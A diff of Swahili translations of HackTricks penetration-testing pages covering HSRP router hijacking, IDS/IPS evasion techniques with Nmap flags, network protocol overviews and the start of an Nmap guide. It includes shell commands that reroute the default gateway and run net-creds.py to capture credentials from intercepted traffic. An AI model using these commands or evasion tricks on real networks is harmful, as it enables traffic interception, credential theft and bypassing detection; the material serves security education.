5. Badilisha meza ya uhamishaji wa trafiki ili kuhamisha trafiki kupitia Router ya zamani ya Aktivi.
|
||||
5. Badilisha meza ya uhamishaji kuelekeza trafiki kupitia Router ya zamani ya Aktivi.
|
||||
```shell
|
||||
sudo route del default
|
||||
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
|
||||
```
|
||||
6. Tumia net-creds.py au zana kama hiyo kufuatilia vibali kutoka kwenye trafiki iliyozuiliwa.
|
||||
6. Tumia net-creds.py au zana kama hiyo kuchukua vibali kutoka kwa trafiki iliyonaswa.
|
||||
```shell
|
||||
sudo python2 net-creds.py -i eth0
|
||||
```
|
||||
|
||||
Kutekeleza hatua hizi humpa mshambuliaji nafasi ya kuingilia na kudhibiti trafiki, sawa na utaratibu wa utekaji wa GLBP. Hii inaonyesha udhaifu katika itifaki za redundancy kama HSRP na haja ya hatua imara za usalama.
|
||||
Kutekeleza hatua hizi humpa mshambuliaji nafasi ya kuingilia na kubadilisha trafiki, sawa na utaratibu wa utekaji wa GLBP. Hii inaonyesha udhaifu katika itifaki za redundansi kama HSRP na haja ya hatua imara za usalama.
|
||||
|
|
|
|||
|
|
@ -1,54 +1,55 @@
|
|||
{% hint style="success" %}
|
||||
Jifunze na zoezi la AWS Hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line"> [**Mafunzo ya HackTricks kwa Wataalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte) <img src="/.gitbook/assets/arte.png" alt="" data-size="line"> \
|
||||
Jifunze na zoezi la GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line"> [**Mafunzo ya HackTricks kwa Wataalam wa Timu Nyekundu ya GCP (GRTE)** <img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>unga mkono HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
||||
{% endhint %}
|
||||
|
||||
# **Udanganyifu wa TTL**
|
||||
|
||||
Tuma baadhi ya pakiti na TTL ya kutosha kufika kwenye IDS/IPS lakini sio ya kutosha kufika kwenye mfumo wa mwisho. Kisha, tuma pakiti nyingine na mfuatano sawa na zingine ili IPS/IDS ifikirie kuwa ni kurudia na isizichunguze, lakini kwa kweli zinabeba maudhui mabaya.
|
||||
Tuma baadhi ya pakiti zenye TTL ya kutosha kufika kwa IDS/IPS lakini si za kutosha kufika kwa mfumo wa mwisho. Kisha, tuma pakiti nyingine zenye mfuatano sawa na zile za awali ili IPS/IDS zidhani ni kurudia na zisizichunguze, lakini kwa kweli zinabeba yaliyomo mabaya.
|
||||
|
||||
**Chaguo la Nmap:** `--ttlvalue <thamani>`
|
||||
|
||||
# Kuepuka saini
|
||||
|
||||
Ongeza tu data taka kwenye pakiti ili saini ya IPS/IDS isiepukwe.
|
||||
Ongeza data taka kwenye pakiti ili saini ya IPS/IDS iepukwe.
|
||||
|
||||
**Chaguo la Nmap:** `--data-length 25`
|
||||
|
||||
# **Pakiti Zilizogawanywa**
|
||||
|
||||
Gawanya tu pakiti na utume. Ikiwa IDS/IPS haina uwezo wa kuziunganisha tena, zitafika kwenye mwenyeji wa mwisho.
|
||||
Gawanya pakiti tu na kuzituma. Ikiwa IDS/IPS haina uwezo wa kuzijumuisha, zitafika kwa mwenyeji wa mwisho.
|
||||
|
||||
**Chaguo la Nmap:** `-f`
|
||||
|
||||
# **Checksum** _**isiyofaa**_
|
||||
# **Checksum** _**Batili**_
|
||||
|
||||
Sensori kawaida hazihesabu checksum kwa sababu za utendaji. Kwa hivyo, mshambuliaji anaweza kutuma pakiti ambayo ita **tafsiriwa na sensori lakini kukataliwa na mwenyeji wa mwisho.** Mfano:
|
||||
Vifaa vya kugundua kawaida havihesabu checksum kwa sababu za utendaji. Kwa hivyo, muhusika anaweza kutuma pakiti ambayo ita **tambuliwa na kifaa lakini kukataliwa na mwenyeji wa mwisho.** Mfano:
|
||||
|
||||
Tuma pakiti na bendera RST na checksum isiyofaa, kwa hivyo, IPS/IDS inaweza kufikiria kuwa pakiti hii inafunga uhusiano, lakini mwenyeji wa mwisho atatupa pakiti kwa sababu checksum ni batili.
|
||||
Tuma pakiti yenye bendera ya RST na checksum batili, kwa hivyo, IPS/IDS inaweza kufikiria kuwa pakiti hii inafunga uhusiano, lakini mwenyeji wa mwisho atatupa pakiti kwa sababu checksum ni batili.
|
||||
|
||||
# **Chaguo za IP na TCP zisizo kawaida**
|
||||
# **Chaguo za IP na TCP Zisizo za Kawaida**
|
||||
|
||||
Sensori inaweza kupuuza pakiti zenye bendera na chaguo fulani zilizowekwa ndani ya vichwa vya IP na TCP, wakati mwenyeji wa marudio anakubali pakiti mara tu zinapopokelewa.
|
||||
Kifaa kinaweza kupuuza pakiti zenye bendera na chaguo fulani zilizowekwa ndani ya vichwa vya IP na TCP, wakati mwenyeji wa marudio anakubali pakiti baada ya kupokea.
|
||||
|
||||
# **Kuambatana**
|
||||
# **Kufunika**
|
||||
|
||||
Inawezekana kwamba unapogawanya pakiti, aina fulani ya kuambatana ipo kati ya pakiti (labda herufi 8 za kwanza za pakiti 2 zinaambatana na herufi 8 za mwisho za pakiti 1, na herufi 8 za mwisho za pakiti 2 zinaambatana na herufi 8 za kwanza za pakiti 3). Kisha, ikiwa IDS/IPS inaziunganisha tena kwa njia tofauti na mwenyeji wa mwisho, pakiti tofauti itaingiliwa.\
|
||||
Au labda, pakiti 2 zenye offset sawa zinakuja na mwenyeji lazima achague ipi inayochukua.
|
||||
Inawezekana kwamba unapogawa pakiti, aina fulani ya kufunika ipo kati ya pakiti (labda byte 8 za kwanza za pakiti 2 zinafunika na byte 8 za mwisho za pakiti 1, na byte 8 za mwisho za pakiti 2 zinafunika na byte 8 za kwanza za pakiti 3). Kisha, ikiwa IDS/IPS itazijumuisha kwa njia tofauti na mwenyeji wa mwisho, pakiti tofauti itaendelea.
|
||||
|
||||
* **BSD**: Ina upendeleo kwa pakiti zenye _offset_ ndogo. Kwa pakiti zenye offset sawa, itachagua ya kwanza.
|
||||
Au labda, pakiti 2 zenye offset sawa zinakuja na mwenyeji anapaswa kuamua ipi inachukua.
|
||||
|
||||
* **BSD**: Inapendelea pakiti zenye _offset_ ndogo. Kwa pakiti zenye offset sawa, itachagua ya kwanza.
|
||||
* **Linux**: Kama BSD, lakini inapendelea pakiti ya mwisho yenye offset sawa.
|
||||
* **Ya kwanza** (Windows): Thamani ya kwanza inayokuja, ndiyo inayobaki.
|
||||
* **Kwanza** (Windows): Thamani ya kwanza inayokuja, ndiyo inayobaki.
|
||||
* **Ya mwisho** (cisco): Thamani ya mwisho inayokuja, ndiyo inayobaki.
|
||||
|
||||
# Zana
|
||||
|
|
@ -56,16 +57,17 @@ Au labda, pakiti 2 zenye offset sawa zinakuja na mwenyeji lazima achague ipi ina
|
|||
* [https://github.com/vecna/sniffjoke](https://github.com/vecna/sniffjoke)
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoezi la AWS Hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line"> [**Mafunzo ya HackTricks kwa Wataalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte) <img src="/.gitbook/assets/arte.png" alt="" data-size="line"> \
|
||||
Jifunze na zoezi la GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line"> [**Mafunzo ya HackTricks kwa Wataalam wa Timu Nyekundu ya GCP (GRTE)** <img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>unga mkono HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,59 +1,76 @@
|
|||
{% hint style="success" %}
|
||||
Jifunze na zoezi la AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
## Multicast DNS (mDNS)
|
||||
|
||||
Itifaki ya **mDNS** imeundwa kwa ajili ya kutatua anwani za IP ndani ya mitandao midogo, ya ndani bila seva maalum ya jina. Inafanya kazi kwa kutuma maswali kwa kundi la watumiaji ndani ya subnet, kuchochea mwenyeji na jina lililotajwa kujibu na anwani yake ya IP. Vifaa vyote katika subnet basi vinaweza kusasisha mDNS caches zao na habari hii.
|
||||
Itifaki ya **mDNS** imeundwa kwa ufumbuzi wa anwani ya IP ndani ya mitandao midogo, ya ndani bila seva maalum ya jina. Inafanya kazi kwa kutuma uchunguzi ndani ya subnet, kuchochea mwenyeji na jina lililotajwa kujibu na anwani yake ya IP. Vifaa vyote katika subnet basi vinaweza kusasisha cache zao za mDNS na habari hii.
|
||||
|
||||
Mambo muhimu ya kuzingatia:
|
||||
- **Kuachilia Jina la Kikoa**: Mwenyeji anaweza kuachilia jina lake la kikoa kwa kutuma pakiti na TTL ya sifuri.
|
||||
- **Kizuizi cha Matumizi**: mDNS kwa kawaida hutatua majina yanayoishia na **.local** tu. Migogoro na wenyeweji wasio wa mDNS katika kikoa hiki inahitaji marekebisho ya usanidi wa mtandao.
|
||||
- **Kizuizi cha Matumizi**: mDNS kwa kawaida hurekebisha majina yanayoishia na **.local** pekee. Migogoro na wenyeji wasio wa mDNS katika kikoa hiki inahitaji marekebisho ya usanidi wa mtandao.
|
||||
- **Maelezo ya Mtandao**:
|
||||
- Anwani za MAC za multicast za Ethernet: IPv4 - `01:00:5E:00:00:FB`, IPv6 - `33:33:00:00:00:FB`.
|
||||
- Anwani za MAC za utangazaji wa Ethernet: IPv4 - `01:00:5E:00:00:FB`, IPv6 - `33:33:00:00:00:FB`.
|
||||
- Anwani za IP: IPv4 - `224.0.0.251`, IPv6 - `ff02::fb`.
|
||||
- Inafanya kazi juu ya bandari ya UDP 5353.
|
||||
- Maswali ya mDNS yanafungwa kwenye mtandao wa ndani na hayavuki rutuba.
|
||||
- Uchunguzi wa mDNS umefungwa kwa mtandao wa ndani na hauvuki rutuba.
|
||||
|
||||
## DNS-SD (Ugunduzi wa Huduma)
|
||||
|
||||
DNS-SD ni itifaki ya ugunduzi wa huduma kwenye mtandao kwa kuuliza majina maalum ya kikoa (kwa mfano, `_printers._tcp.local`). Jibu linajumuisha vikoa vyote vinavyohusiana, kama vile wachapishaji wanaopatikana katika kesi hii. Orodha kamili ya aina za huduma inaweza kupatikana [hapa](http://www.dns-sd.org/ServiceTypes.html).
|
||||
DNS-SD ni itifaki ya kugundua huduma kwenye mtandao kwa kuuliza majina maalum ya kikoa (k.m., `_printers._tcp.local`). Majibu yanajumuisha mada zote zinazohusiana, kama vile wachapishaji wa kupatikana katika kesi hii. Orodha kamili ya aina za huduma inaweza kupatikana [hapa](http://www.dns-sd.org/ServiceTypes.html).
|
||||
|
||||
## SSDP (Itifaki Rahisi ya Ugunduzi wa Huduma)
|
||||
|
||||
SSDP inafanikisha ugunduzi wa huduma za mtandao na kwa kawaida hutumiwa na UPnP. Ni itifaki inayotumia maandishi kwa kutumia UDP juu ya bandari 1900, na anwani ya multicast. Kwa IPv4, anwani ya multicast iliyotengwa ni `239.255.255.250`. Msingi wa SSDP ni [HTTPU](https://en.wikipedia.org/wiki/HTTPU), ni upanuzi wa HTTP kwa UDP.
|
||||
SSDP inarahisisha ugunduzi wa huduma za mtandao na kwa kawaida hutumiwa na UPnP. Ni itifaki inayotumia maandishi kwa kutumia UDP juu ya bandari 1900, na anwani za utangazaji. Kwa IPv4, anwani ya utangazaji iliyotengwa ni `239.255.255.250`. Msingi wa SSDP ni [HTTPU](https://en.wikipedia.org/wiki/HTTPU), upanuzi wa HTTP kwa UDP.
|
||||
|
||||
|
||||
## Huduma ya Wavuti kwa Vifaa (WSD)
|
||||
Vifaa vilivyounganishwa kwenye mtandao vinaweza kutambua huduma zinazopatikana, kama vile wachapishaji, kupitia Huduma ya Wavuti kwa Vifaa (WSD). Hii inahusisha utangazaji wa pakiti za UDP. Vifaa vinavyotafuta huduma hutoa maombi, wakati watoa huduma hutangaza huduma zao.
|
||||
Vifaa vilivyounganishwa kwenye mtandao vinaweza kutambua huduma zilizopo, kama vile wachapishaji, kupitia Huduma ya Wavuti kwa Vifaa (WSD). Hii inahusisha kutangaza pakiti za UDP. Vifaa vinavyotafuta huduma hutuma maombi, wakati watoa huduma wanatangaza matoleo yao.
|
||||
|
||||
## OAuth 2.0
|
||||
OAuth 2.0 ni itifaki inayorahisisha kugawana salama na kuchagua habari ya mtumiaji kati ya huduma. Kwa mfano, inawezesha huduma kupata data ya mtumiaji kutoka Google bila kuingia mara kadhaa. Mchakato huu unahusisha uwakilishi wa mtumiaji, idhini kutoka kwa mtumiaji, na uzalishaji wa alama na Google, kuruhusu huduma kupata data ya mtumiaji iliyotajwa.
|
||||
OAuth 2.0 ni itifaki inayowezesha kugawana kwa usalama, kuchagua habari ya mtumiaji kati ya huduma. Kwa mfano, inawezesha huduma kupata data ya mtumiaji kutoka Google bila kuingia mara nyingi. Mchakato unajumuisha uwakilishi wa mtumiaji, idhini na mtumiaji, na uundaji wa alama na Google, kuruhusu huduma kupata data iliyotajwa ya mtumiaji.
|
||||
|
||||
## RADIUS
|
||||
RADIUS (Remote Authentication Dial-In User Service) ni itifaki ya ufikiaji wa mtandao inayotumiwa kwa kiasi kikubwa na watoa huduma wa mtandao. Inasaidia uwakiki, idhini, na uhasibu. Vitambulisho vya mtumiaji huthibitishwa na seva ya RADIUS, ikiwezekana pamoja na uthibitisho wa anwani ya mtandao kwa usalama zaidi. Baada ya uwakiki, watumiaji hupata ufikiaji wa mtandao na maelezo ya kikao chao yanafuatiliwa kwa madhumuni ya bili na takwimu.
|
||||
RADIUS (Remote Authentication Dial-In User Service) ni itifaki ya ufikiaji wa mtandao inayotumiwa sana na ISP. Inasaidia uwakilishi, idhini, na uhasibu. Sifa za mtumiaji huthibitishwa na seva ya RADIUS, pamoja na uthibitisho wa anwani ya mtandao kwa usalama zaidi. Baada ya uthibitisho, watumiaji hupata ufikiaji wa mtandao na maelezo ya kikao chao yanafuatiliwa kwa madhumuni ya bili na takwimu.
|
||||
|
||||
## SMB na NetBIOS
|
||||
|
||||
### SMB (Server Message Block)
|
||||
SMB ni itifaki ya kushiriki faili, wachapishaji, na bandari. Inafanya kazi moja kwa moja juu ya TCP (bandari 445) au kupitia NetBIOS juu ya TCP (bandari 137, 138). Ulinganifu huu mara mbili huongeza uunganisho na vifaa mbalimbali.
|
||||
### SMB (Ujumbe wa Seva)
|
||||
SMB ni itifaki ya kushirikiana faili, wachapishaji, na bandari. Inafanya kazi moja kwa moja juu ya TCP (bandari 445) au kupitia NetBIOS juu ya TCP (bandari 137, 138). Uwiano huu wa mara mbili huongeza uunganisho na vifaa mbalimbali.
|
||||
|
||||
### NetBIOS (Network Basic Input/Output System)
|
||||
NetBIOS inasimamia vikao na uunganisho wa mtandao kwa kushiriki rasilimali. Inasaidia majina ya kipekee kwa vifaa na majina ya kikundi kwa vifaa vingi, kuruhusu ujumbe uliolengwa au utangazaji. Mawasiliano yanaweza kuwa bila uhusiano (bila uthibitisho) au yenye uhusiano (kulingana na kikao). Ingawa NetBIOS kwa kawaida hufanya kazi juu ya itifaki kama IPC/IPX, mara nyingi hutumiwa juu ya TCP/IP. NetBEUI, itifaki inayohusiana, inajulikana kwa kasi yake lakini pia ilikuwa na maelezo mengi kutokana na utangazaji.
|
||||
### NetBIOS (Mfumo wa Msingi wa Kuingiza/Kutoa Mtandao)
|
||||
NetBIOS inasimamia vikao vya mtandao na uhusiano kwa kushirikiana rasilimali. Inasaidia majina ya kipekee kwa vifaa na majina ya kikundi kwa vifaa vingi, kuruhusu ujumbe wa kulenga au utangazaji. Mawasiliano yanaweza kuwa bila uhusiano (bila uthibitisho) au kwa uhusiano (kulingana na kikao). Ingawa NetBIOS kwa kawaida hufanya kazi juu ya itifaki kama IPC/IPX, mara nyingi hutumiwa juu ya TCP/IP. NetBEUI, itifaki inayohusiana, inajulikana kwa kasi yake lakini pia ilikuwa ya maneno mengi kutokana na utangazaji.
|
||||
|
||||
## LDAP (Itifaki Nuru ya Kupata Mwongozo)
|
||||
LDAP ni itifaki inayowezesha usimamizi na ufikiaji wa habari ya mwongozo juu ya TCP/IP. Inasaidia shughuli mbalimbali za kuuliza na kurekebisha habari ya mwongozo. Kwa kawaida, inatumika kwa kupata na kudumisha huduma za habari za mwongozo zilizosambazwa, kuruhusu mwingiliano na hifadhidata zilizoundwa kwa mawasiliano ya LDAP.
|
||||
## LDAP (Itifaki ya Upatikanaji wa Mwongozo Mepesi)
|
||||
LDAP ni itifaki inayowezesha usimamizi na upatikanaji wa habari za saraka juu ya TCP/IP. Inasaidia shughuli mbalimbali za kuuliza na kurekebisha habari za saraka. Kwa kiasi kikubwa, inatumika kwa kupata na kudumisha huduma za habari za saraka zilizosambazwa, kuruhusu mwingiliano na mabadiliko ya mawasiliano ya LDAP.
|
||||
|
||||
## Active Directory (AD)
|
||||
Active Directory ni hifadhidata inayopatikana kwenye mtandao ambayo ina vitu kama watumiaji, vikundi, mamlaka, na rasilimali, ikirahisisha usimamizi wa kati wa entiti za mtandao. AD inapanga data yake katika muundo wa ierarkia ya vikoa, ambayo inaweza kujumuisha seva, vikundi, na watumiaji. Vikoa vidogo vinawezesha uchambuzi zaidi, kila kimoja kinaweza kuwa na seva yake na kikundi cha watumiaji. Muundo huu unahusisha usimamizi wa watumiaji, kuruhusu au kuzuia ufikiaji wa rasilimali za mtandao. Utafutaji unaweza kufanywa ili kupata habari maalum, kama vile maelezo ya mawasiliano, au kupata rasilimali, kama vile wachapishaji, ndani ya kikoa.
|
||||
Active Directory ni hifadhidata inayopatikana kwenye mtandao inayojumuisha vitu kama watumiaji, vikundi, mamlaka, na rasilimali, ikirahisisha usimamizi wa kati wa vitu vya mtandao. AD inaandaa data yake katika muundo wa ierarkia wa uwanja, ambao unaweza kujumuisha seva, vikundi, na watumiaji. Subdomains huruhusu upeanaji zaidi, kila moja ikiweza kudumisha seva yake na kikundi cha watumiaji. Muundo huu unacentraliza usimamizi wa watumiaji, kuruhusu au kuzuia ufikiaji wa rasilimali za mtandao. Utafutaji unaweza kufanywa ili kupata habari maalum, kama vile maelezo ya mawasiliano, au kupata rasilimali, kama vile wachapishaji, ndani ya uwanja.
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoezi la AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,18 +1,19 @@
|
|||
# Muhtasari wa Nmap (ESP)
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoezi la AWS Hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>unga mkono HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
|
@ -22,9 +23,9 @@ nmap -sV -sC -O -n -oA nmapscan 192.168.0.1/24
|
|||
```
|
||||
## Vigezo
|
||||
|
||||
### IPs za kutafuta
|
||||
### IPs za skan
|
||||
|
||||
* **`<ip>,<net/mask>`:** Inaonyesha IPs moja kwa moja
|
||||
* **`<ip>,<net/mask>`:** Inaonyesha moja kwa moja IPs
|
||||
* **`-iL <ips_file>`:** orodha_IPs
|
||||
* **`-iR <number>`**: Idadi ya Ips za kubahatisha, unaweza kuepuka Ips zinazowezekana kwa kutumia `--exclude <Ips>` au `--excludefile <file>`.
|
||||
|
||||
|
|
@ -33,60 +34,60 @@ nmap -sV -sC -O -n -oA nmapscan 192.168.0.1/24
|
|||
Kwa chaguo-msingi, Nmap huanzisha awamu ya ugunduzi inayojumuisha: `-PA80 -PS443 -PE -PP`
|
||||
|
||||
* **`-sL`**: Si ya kuvamia, inaorodhesha malengo kwa kutuma maombi ya **DNS** kutatua majina. Ni muhimu kujua kama kwa mfano www.prueba.es/24 IPs zote ni malengo yetu.
|
||||
